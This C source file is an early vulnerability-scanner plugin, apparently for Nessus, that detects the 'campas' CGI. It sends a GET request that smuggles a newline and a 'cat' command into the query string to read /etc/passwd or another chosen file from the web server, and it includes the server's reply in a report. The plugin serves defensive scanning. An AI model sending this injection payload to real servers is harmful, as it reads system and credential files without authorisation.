/*
 * 
 * campas
 *
 * This plugin was written by Renaud Deraison and is released
 * under the GPL
 *
 */

#include <includes.h>
#define NAME "campas"
#define DESC "The 'campas' cgi allows a remote user to view any file on the\n\
local system, with the privileges of the http daemon (root or nobody).\n\n\
This plugin determines if this cgi is installed on the remote host and\n\
tries to read a file (specified in the daemon preferences) on the remote\n\
server\n\n\
Risk factor : medium/high"

#define COPYRIGHT "no copyright"
#define SUMM "determines the presence of the 'campas' cgi"


PlugExport int plugin_init(struct arglist *desc);
PlugExport int plugin_init(struct arglist *desc)
{
	plug_set_name(desc, NAME);
	plug_set_description(desc, DESC);
	plug_set_summary(desc, SUMM);
	plug_set_copyright(desc, COPYRIGHT);
	plug_set_category(desc, ACT_ATTACK);
	plug_set_family(desc, "CGI abuses");
	return(0);
}



PlugExport int plugin_run(struct arglist * args);	
PlugExport int plugin_run(struct arglist * args)
{
	
	
	if(host_get_port_state(args, 80)<=0)return(0);
	
	if(is_cgi_installed(args, "campas"))
	{
	char * test_file = get_preference(args, "test_file");
	char * buffer = emalloc(4096);
	char * result;
	
	int soc = open_sock_tcp(args, 80);
	
	if(soc<=0)
	 /* Couldn't re-open the connection... Strange !*/
	 post_hole(args, 80, "The 'campas' cgi is present\nRemote files may be viewed");
	else {
	  	sprintf(buffer, "GET /cgi-bin/campas?%%0Acat%%20%s%%0A\n",
	  		test_file?test_file:"/etc/passwd");
		send(soc, buffer, strlen(buffer), 0);
		bzero(buffer, 4096);
		read(soc, buffer, 4096);
		result = emalloc(strlen(buffer) + 100);
		sprintf(result, "The 'campas' cgi is present
We attempt to obtain %s :\n%s\nSolution : upgrade this cgi or delete it", 
	test_file ? test_file:"/etc/passwd",buffer);
		efree(&buffer);
		post_hole(args, 80, result);
		efree(&result);
		socket_close(soc);
		}
	}
	return(0);
}



